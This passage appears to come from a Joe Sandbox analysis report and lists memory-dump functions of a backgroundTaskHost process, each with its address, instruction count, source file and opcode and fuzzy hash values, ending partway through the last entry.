                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 531ed3e80861a395c50dadc2df81c1e5fefeb523f3fdb527f0a42ac3551cc248
                  • Instruction ID: 4ee380419c3727cccda3671c3e6944dd146013d105bd5aceba66f1fde6293468
                  • Opcode Fuzzy Hash: 531ed3e80861a395c50dadc2df81c1e5fefeb523f3fdb527f0a42ac3551cc248
                  • Instruction Fuzzy Hash: 70C1BF3061A556CBEB19CF08C4E06B537E1FF46314B5446BDC95ACB68BCA3CE882DB81
                  Function 00007FFD348CDE42 Relevance: .3, Instructions: 331COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b90b1a8f824437dda913ae86d22a06a001e9d209efc981937eb13aecb61c138e
                  • Instruction ID: d0b1de61849bda9b4838ad058e5051d5cb4880063f25c376107ca0cdfd8ade05
                  • Opcode Fuzzy Hash: b90b1a8f824437dda913ae86d22a06a001e9d209efc981937eb13aecb61c138e
                  • Instruction Fuzzy Hash: 69C19030A0CA469FE749EB68C2A16B4B7E1FF5A310F54457AD54EC7A86CB28BC51C780
                  Function 00007FFD348E37D7 Relevance: .3, Instructions: 305COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e4a800b795608a7a16e696877684966cd145f860c705da980658257ca0f9086e
                  • Instruction ID: 56f12eec1172003964b42d7230cff8e66a245e0ab097fd4e7ec75d37338d3d83
                  • Opcode Fuzzy Hash: e4a800b795608a7a16e696877684966cd145f860c705da980658257ca0f9086e
                  • Instruction Fuzzy Hash: B9218F52F0D9938AF67D63A924B20BE66809F43720F1C61BAD64DC60D3DD5C2CC57292
                  Function 00007FFD348DA7FA Relevance: .3, Instructions: 301COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ad30f466bf726e78ff4d1c2ff6c8719e9532402476b990a23885b0089a02c265
                  • Instruction ID: 82dea37420443828483584e4f8ebc55973b3fefe0ad9d27dd0c20873fa25825f
                  • Opcode Fuzzy Hash: ad30f466bf726e78ff4d1c2ff6c8719e9532402476b990a23885b0089a02c265
                  • Instruction Fuzzy Hash: 93218112F4F5839AE22553AD2AF10FC5A41DF83321F2C57BAD64DC60C2DC4D28867392
                  Function 00007FFD348CB83F Relevance: .3, Instructions: 298COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a0fec1e999a2f5dccdb170c4dce51d732ae1c5b4c63fb8f308ddb6fefeeed0c1
                  • Instruction ID: 0dfa0213bee07ff22ea92d524a1a0606651799569284cfc4bc84809b9b4a95ab
                  • Opcode Fuzzy Hash: a0fec1e999a2f5dccdb170c4dce51d732ae1c5b4c63fb8f308ddb6fefeeed0c1
                  • Instruction Fuzzy Hash: 2021C515F8EA839AE62457AC36F20B8A6909F03350F1801BBD6CDD60D3DC0C6CC47382
                  Function 00007FFD348D4BDA Relevance: .3, Instructions: 291COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6ff8fd648951b977f228f74d861b4de8bb0d0104db2d676e5536eb0ee5062699
                  • Instruction ID: b92eafebc82e2a8c90687ba1f0d4161eda95534cab3cfd6d6b465c9a23f4e617
                  • Opcode Fuzzy Hash: 6ff8fd648951b977f228f74d861b4de8bb0d0104db2d676e5536eb0ee5062699
                  • Instruction Fuzzy Hash: 90811630B1E6594FE70C9B2898A16B8B7E1EB87715F1442BDD58FC3693DD2CA8438781
                  Function 00007FFD348B1728 Relevance: .3, Instructions: 281COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 28ada9e928ff32426997211ca5696d2b82f7fb675ce7500a6f16141241a1b8ed
                  • Instruction ID: c9c5a5c67d3ce633f3159fe212464ccdb9675a6edac3402f25a8173883ac6649
                  • Opcode Fuzzy Hash: 28ada9e928ff32426997211ca5696d2b82f7fb675ce7500a6f16141241a1b8ed
                  • Instruction Fuzzy Hash: 2981A031B0CA894FDB58DF1C88A55A977E2FF99344B14457AE58ED7382CE78E802C781
                  Function 00007FFD348D6DD9 Relevance: .3, Instructions: 276COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3dac14f82639b529d780cebc0fb57bda55209e2ee1408072002c046f4285aa91
                  • Instruction ID: b37a6b1a1901e351676567be1f575fc7df8facd3740997163cc5a322548917c2
                  • Opcode Fuzzy Hash: 3dac14f82639b529d780cebc0fb57bda55209e2ee1408072002c046f4285aa91
                  • Instruction Fuzzy Hash: 7C91D871E0EA8D4FDB49DF5888A52AD77E2FF9A304F14427ED549E3292CE38AC018751
                  Function 00007FFD348DC336 Relevance: .3, Instructions: 271COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f514b94687bc64bfe6ca5cf61837670ab13343579a185e90caa9f731debd1be4
                  • Instruction ID: a7f1b13e29328b528a800a62171555f859a33045e0a419653c791e62cb72559c
                  • Opcode Fuzzy Hash: f514b94687bc64bfe6ca5cf61837670ab13343579a185e90caa9f731debd1be4
                  • Instruction Fuzzy Hash: E4810631B4FA868FE3699B6894A517977E1FF87310F14067ED18FC3182DA2CB8429752
                  Function 00007FFD348CD386 Relevance: .3, Instructions: 270COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a9e7baa95c91f638faae9fe7051707ba146a802f303799ee312efa0ad282e412
                  • Instruction ID: 3d8ad025273444d080f90e12aaf8ededba637ef0e97ff78e16bb9948a635397a
                  • Opcode Fuzzy Hash: a9e7baa95c91f638faae9fe7051707ba146a802f303799ee312efa0ad282e412
                  • Instruction Fuzzy Hash: 5C813631B0CA468FE328AB2895A51B5B7E0EF87318B14057FD68EC7182DE2DBC429751
                  Function 00007FFD348C2D68 Relevance: .3, Instructions: 253COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 73392943cb7c4d8aa75212080cdb8ede0c2fbd1eb949d4dea4fa9f96c289b979
                  • Instruction ID: 80bfd43f8e7ddb8c50768282f0df8e0ca661bb3d3c730b793f7ab225da4fdecf
                  • Opcode Fuzzy Hash: 73392943cb7c4d8aa75212080cdb8ede0c2fbd1eb949d4dea4fa9f96c289b979
                  • Instruction Fuzzy Hash: ADB1D670E1851D9EEB64EB98C8A57EDB6F1FF59300F1041BAD00DE3292DE7869859B40
                  Function 00007FFD348D7A89 Relevance: .2, Instructions: 249COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5fe6c3fda90f171071e29776e099851bfd023dc4f58003bfb713a6fda75004ce
                  • Instruction ID: 328285ae11847fb682e11c1b0f6a62f0895a8da7c7939b633b68b1891eff4a79
                  • Opcode Fuzzy Hash: 5fe6c3fda90f171071e29776e099851bfd023dc4f58003bfb713a6fda75004ce
                  • Instruction Fuzzy Hash: 58715971B0F5494FE768DB2888B65B537C0FF47311B1403B9D69EC7592DE1CA8069781
                  Function 00007FFD348DFD29 Relevance: .2, Instructions: 245COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 7b31ecbbf030810b31309f15936cd4a4c090903994aacb64da80fa06988ef9ca
                  • Instruction ID: 88ba8e4aec83badf202df673940fa5bff561a393927b1dca1d4f056cda594cf9
                  • Opcode Fuzzy Hash: 7b31ecbbf030810b31309f15936cd4a4c090903994aacb64da80fa06988ef9ca
                  • Instruction Fuzzy Hash: D0710131E0F54A4FE7A8DB1888B65B477D0EF47311B1403B9E79ECB593DE1CA806A681
                  Function 00007FFD348E3487 Relevance: .2, Instructions: 245COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 652d58a33050fee127c595fa7fe51d82cf04a2d95ca4232d44f2772698554e50
                  • Instruction ID: d87854c8736e20c14e69ed9cce727829477ad85791d470c365f28a5b4e0ddf0d
                  • Opcode Fuzzy Hash: 652d58a33050fee127c595fa7fe51d82cf04a2d95ca4232d44f2772698554e50
                  • Instruction Fuzzy Hash: 18717C71B0C5498FE76CDB1888A65B637D0FF46310B0C12B9E65EC37A2DE1CAC869781
                  Function 00007FFD348E23E9 Relevance: .2, Instructions: 245COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5dcd0be92b04f86bbcbfa44a188b73e9a74f31350979d603bf493ceb39280179
                  • Instruction ID: f932d8265d4fd20bc10949bd3a9f5d179299e7c2533d727d0d6bf3161ec870a2
                  • Opcode Fuzzy Hash: 5dcd0be92b04f86bbcbfa44a188b73e9a74f31350979d603bf493ceb39280179
                  • Instruction Fuzzy Hash: B1714C31B0C9494FE7ACDB1CC8B65B637D0FF4A311B1802B9D69EC7592DD1CA8869781
                  Function 00007FFD348D43C1 Relevance: .2, Instructions: 242COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3e7621823167a582d19559512ac644c31d4373166369eef02256adbea7745737
                  • Instruction ID: 272d079c8d2d0015fd75876214b23b8767e8ff7e4641d93b352c73ab22757298
                  • Opcode Fuzzy Hash: 3e7621823167a582d19559512ac644c31d4373166369eef02256adbea7745737
                  • Instruction Fuzzy Hash: A3815E3071AB068FE764DB28D0A0666B3E1FF56310F544A7DD14BC3A96DA3DF8428B40
                  Function 00007FFD348CC0AB Relevance: .2, Instructions: 233COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3cae33b6b53c7c125fae34d8d6505e8d28a407decf1cbf9f2d4aff4cde1f9fc6
                  • Instruction ID: c78a5d25ad05a31b221cdd6d96fb5187240afe1e16686136e43f8e00303b3d00
                  • Opcode Fuzzy Hash: 3cae33b6b53c7c125fae34d8d6505e8d28a407decf1cbf9f2d4aff4cde1f9fc6
                  • Instruction Fuzzy Hash: C071A030E1C64E8EEBA5EBA485A46BCBBB1FF5A700F10057BD20ED7181DE2C6C45A740
                  Function 00007FFD348E05BB Relevance: .2, Instructions: 229COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 242b1b5c898b7ed7b6ca49fd729a5bdbe8527b294bf5c25b6f7881bdb42d7d1e
                  • Instruction ID: d163ff484ca76d70b5efd70ff32769fe8e076685d776856f9a5b75c9a4d73370
                  • Opcode Fuzzy Hash: 242b1b5c898b7ed7b6ca49fd729a5bdbe8527b294bf5c25b6f7881bdb42d7d1e
                  • Instruction Fuzzy Hash: 0D71C730E1C65A8FEB59DB6488A46BE7BA0FF57300F180979D10ED7192DE3D6881E711
                  Function 00007FFD348CF5F7 Relevance: .2, Instructions: 206COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 01335e40acf7c196d9c9e7740d8874d9460dfbe268247897cecd3b2f0fdc087d
                  • Instruction ID: 9869a3b61f962ac73f7b074f3e00313cdbcd49125bc7077b0fa5afa0f00f7b0c
                  • Opcode Fuzzy Hash: 01335e40acf7c196d9c9e7740d8874d9460dfbe268247897cecd3b2f0fdc087d
                  • Instruction Fuzzy Hash: 85719F30649B468FE369DB24D2E4561B7E0FF06304B50597EC68AC7ADACB29BC42DB40
                  Function 00007FFD348BB1A8 Relevance: .2, Instructions: 193COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3103062a3cd8ff3530dbe1b8b8beb8da1bc5bbf1aafab48527d87ef89aa4b4d5
                  • Instruction ID: abea8c77a98bb6bcfcf0defd81818bec954b95d535cdd5ac87ec106d4170d144
                  • Opcode Fuzzy Hash: 3103062a3cd8ff3530dbe1b8b8beb8da1bc5bbf1aafab48527d87ef89aa4b4d5
                  • Instruction Fuzzy Hash: 40611870E0890D8EEB94EB58C4A9BEDB7F1FF5A300F10517AD10DE7292DE7868409B80
                  Function 00007FFD348D3A66 Relevance: .2, Instructions: 188COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6c26ae33c60a0c699007bf31c96b0b913c9a62bc0e963bc95eb512721a103c74
                  • Instruction ID: e51f5d27e54de88777d48bfbb936e3abbc4d22f2d18f9ac82e3ff1a67c0858dc
                  • Opcode Fuzzy Hash: 6c26ae33c60a0c699007bf31c96b0b913c9a62bc0e963bc95eb512721a103c74
                  • Instruction Fuzzy Hash: 3851E331B1FB464BE3794B2894E50B57BE1EF43310B1906BED68BC7282DD1DB846E291
                  Function 00007FFD348B1D2D Relevance: .2, Instructions: 185COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e7bd868a4bdaaa27bc3520ae8bee768fc4b2e450d7317c2ddba5ee76baf42ea6
                  • Instruction ID: d54d043110449f69d8e07acb1e44bacc7c89a8f06375e08193d1c91b32e89fa2
                  • Opcode Fuzzy Hash: e7bd868a4bdaaa27bc3520ae8bee768fc4b2e450d7317c2ddba5ee76baf42ea6
                  • Instruction Fuzzy Hash: 1951C331B1CB894FDB58DF1888A55BA77E2FB99340B14457ED54ACB281CE78E802C781
                  Function 00007FFD348B32C5 Relevance: .2, Instructions: 176COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 12300279d9adfef4ceca4ab446ac0403361a44c7b8911968c46c6958a347d4e9
                  • Instruction ID: dc3d173e380dabb2ca2529f7847bfd4c4f8b92055be02cc82f0325ba69a9a43c
                  • Opcode Fuzzy Hash: 12300279d9adfef4ceca4ab446ac0403361a44c7b8911968c46c6958a347d4e9
                  • Instruction Fuzzy Hash: 1B613970E086198FEB54DBA8C4A46EDBBF1FF59300F104079D109E7292DFB86944DB90
                  Function 00007FFD348E3248 Relevance: .2, Instructions: 162COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f6f2de88e528b616b68d6d558363cf4d5095695c0c2f49bb961c76f4b27e9c88
                  • Instruction ID: ef9dc1ec0755a879560343b8bcf48973ea72a3fed228e70f8873facdb3abf5e5
                  • Opcode Fuzzy Hash: f6f2de88e528b616b68d6d558363cf4d5095695c0c2f49bb961c76f4b27e9c88
                  • Instruction Fuzzy Hash: E4519E30A0C5499FEB98DF58C8A1AFE7BA0FF56301F14117AE509D3291CB296C859B51
                  Function 00007FFD348B1840 Relevance: .2, Instructions: 160COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348b0000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4294e78bc3b0792e9c5293460b9dfb0caa38d7977473ea939d2918b14e8b5b9f
                  • Instruction ID: b53f25d9f9698780bdb3cf96fc00bb005aabc8c82f811fc3c58ffbcb515a2aca
                  • Opcode Fuzzy Hash: 4294e78bc3b0792e9c5293460b9dfb0caa38d7977473ea939d2918b14e8b5b9f
                  • Instruction Fuzzy Hash: 18419030B18A494FDB5CDF1C88A56BA73E2FBD8344B14453EE95ED7285CE74E8028B81
                  Function 00007FFD348D5FAE Relevance: .1, Instructions: 146COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 958b4a55b1e2202c9b0411ccf2e34c5152d49bcd8dd08b8670f8d47bc7cb0ed5
                  • Instruction ID: 134c52eb95865a587b123616bba343250151b295728efe31a93f450a28cf75b1
                  • Opcode Fuzzy Hash: 958b4a55b1e2202c9b0411ccf2e34c5152d49bcd8dd08b8670f8d47bc7cb0ed5
                  • Instruction Fuzzy Hash: 0541E552B1F98A4FE795BB6844F45B52BD1AF5B200B1842BBC14EE71E7DD1CAC0AA340
                  Function 00007FFD348D9120 Relevance: .1, Instructions: 144COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: d5f751ba712f0ab2e8b5932c0cbb27c3a9cdab47376a741282ca2d6cb27fdd28
                  • Instruction ID: b89bc4ac7cdb3f2eae084b526ff10dd688a74fa7ddf60fef09ad8cf5b5d8f94d
                  • Opcode Fuzzy Hash: d5f751ba712f0ab2e8b5932c0cbb27c3a9cdab47376a741282ca2d6cb27fdd28
                  • Instruction Fuzzy Hash: 8341A416A0E1961BD712BBBC68B10EA3F649F43328B0D42F7D49CDB093ED6C64498295
                  Function 00007FFD348D76F2 Relevance: .1, Instructions: 144COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e434e78d41d0970e4265aa899d76839bc0e3a07a8ae1cd5fbcb19181767ad0c9
                  • Instruction ID: 83206e9fc324ba46ec75dceed81ce08ed4f17f67d0d515c7e3311ec6e39f19c7
                  • Opcode Fuzzy Hash: e434e78d41d0970e4265aa899d76839bc0e3a07a8ae1cd5fbcb19181767ad0c9
                  • Instruction Fuzzy Hash: A941D626E0E6965BE751A7FCA4B10EA3BB0DF43329B0801B7C28CDA093ED2C24469255
                  Function 00007FFD348D76F0 Relevance: .1, Instructions: 143COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 8368ae1d7d4ae30ed8f58ca997e20959cb1c1ac3f88084dfce1e4e14c6300dcc
                  • Instruction ID: 2b0c21dce48643c602e1667a49483269af785ebfeb7666ad930a718bf0d1075e
                  • Opcode Fuzzy Hash: 8368ae1d7d4ae30ed8f58ca997e20959cb1c1ac3f88084dfce1e4e14c6300dcc
                  • Instruction Fuzzy Hash: 7541D526E0E6965BE751B7FCA4B10EA3BB4DF43329B0C01B7D28CDB093ED2C24469255
                  Function 00007FFD348DBD81 Relevance: .1, Instructions: 141COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5d66e7fb726f8abda091dfdb6b9686dde60064c5982c015d62965dc607793bb5
                  • Instruction ID: 8237e4a5d98d243fb96196a548788b590224a7cac2c3f6000401315deb173c0e
                  • Opcode Fuzzy Hash: 5d66e7fb726f8abda091dfdb6b9686dde60064c5982c015d62965dc607793bb5
                  • Instruction Fuzzy Hash: 5E417271F1A9494FDB58EB5CD4A15A8B3E1FF9B310B14427AD25EC7292DE28BC029780
                  Function 00007FFD348C90E0 Relevance: .1, Instructions: 140COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ab8fdfce8c371966b627a89c572a83d8b8ef60e7a57383707d177fcfbd58cdfa
                  • Instruction ID: 646ad7e6857c5ff31e8221b203766e15ded3114f1f2367e9e9405f851dc69fe8
                  • Opcode Fuzzy Hash: ab8fdfce8c371966b627a89c572a83d8b8ef60e7a57383707d177fcfbd58cdfa
                  • Instruction Fuzzy Hash: 34414D71A0D65A8FDB61EB2898A56E9BBF0EF16300F0400F7D50CD7292DA38AD85DB41
                  Function 00007FFD348E29FA Relevance: .1, Instructions: 139COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ee93e012ba1f10bc724141a2fc1fd8a02cbcfd169714b131b5552d8d6aed2ed2
                  • Instruction ID: 11a76b8a59320659018c3743c7f0e8035780d00c943d5008998da9c8938a8954
                  • Opcode Fuzzy Hash: ee93e012ba1f10bc724141a2fc1fd8a02cbcfd169714b131b5552d8d6aed2ed2
                  • Instruction Fuzzy Hash: 8F412A20A0C55A4BEB69EB1884B06FA77A1FF56300F5841B6C14DE7197CD3CB8C5A780
                  Function 00007FFD348D7700 Relevance: .1, Instructions: 138COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6651747e0d9073abbd98760c664b997e1a1accbbc4b752cdfca51bc48d45ebee
                  • Instruction ID: 22d38fa17ae411b300987f5d24738b4da5e351e7e598f2c3a50f029068001ce2
                  • Opcode Fuzzy Hash: 6651747e0d9073abbd98760c664b997e1a1accbbc4b752cdfca51bc48d45ebee
